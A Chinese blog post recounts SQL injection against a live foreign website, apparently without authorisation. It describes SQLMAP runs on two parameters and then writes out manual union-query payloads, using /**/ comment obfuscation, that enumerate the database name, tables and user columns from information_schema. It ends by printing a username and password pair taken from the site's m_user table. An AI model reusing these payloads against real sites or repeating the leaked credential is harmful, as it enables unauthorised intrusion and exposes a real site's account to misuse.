对国外某网站的SQL注入实战

对国外某网站的SQL注入实战

记录一次某功能点遇到SQL注入漏洞尝试丢到SQLMAP运行虽然成功,但是有些SQL注入类型存在但SQLMAP未识别出来,随后便使用手工注入的方式获得数据库相关数据的随笔

功能点

  • 某网站存在URL如下的GET形公告展示点:
    /xxx/index.php?mod=detail&_id=232

    1. 当对该功能点进行测试的时候发现当_id=232切换为id=232-1时页面展示内容为id=232的内容,初步可以判断该点存在SQL注入。
    2. 尝试使用SQLMAP对该功能点进行深入渗透测试

      从其返回的信息中可以看出,SQLMAP表示该网站使用的是CrateDB数据库,但是无法进行自动注入。因为对这个数据库接触的比较少,于是就懒得去手工注入,就尝试寻找其他注入点。
  • 同网站存在URL如下的POST形查询展示点

    POST /xxxx/index.php?mod=search&page_s=0 HTTP/1.1
    Host: 
    Content-Length: 42
    ......
    Connection: close
    
    keyword=1&btn_search=%E6%A4%9C%E7%B4%A2
    
    1. 尝试对keyword进行SQL注入尝试,发现当keyword=1"时页面正常显示,但keyword=1'时页面报错。初步判断存在SQL注入点,再对页面进行测试发现报错信息一致,于是直接排除报错注入。
    2. 尝试使用SQLMAP进行渗透测试

      发现SQLMAP虽然注入出来了,但是观察BURP拦截的包发现SQLMAP其实再发包的时候已经出现了联合查询注入的SQL漏洞,但是并未列出来,于是就尝试进行手工注入。

联合查询手工注入

BURP上存在联合查询注入的包如下

  1. 手工查询当前数据库
    database()

    获得数据库名称:tosekyo_blog
  2. 手工查询当前数据库中的表
    select/**/GROUP_CONCAT(TABLE_NAME)/**/FROM/**/information_schema.TABLES WHERE/**/TABLE_SCHEMA="tosekyo_blog"

    获得表:d_blog,d_comment,d_trackback,m_category,m_plugin,m_user
  3. 获得表中的列
    select/**/GROUP_CONCAT(COLUMN_NAME)/**/FROM/**/information_schema.COLUMNS/**/WHERE/**/TABLE_NAME="m_user"

    获得列:id,uid,pwd,name,is_admin,is_super_user,serial_num
  4. 获取值

    得到用户名密码(tosekyoblog|enLII01DMr59o)

网络安全交流学习群

QQ群:964798797

posted @ 2025-01-30 18:35  NPC001  阅读(142)  评论(0)    收藏  举报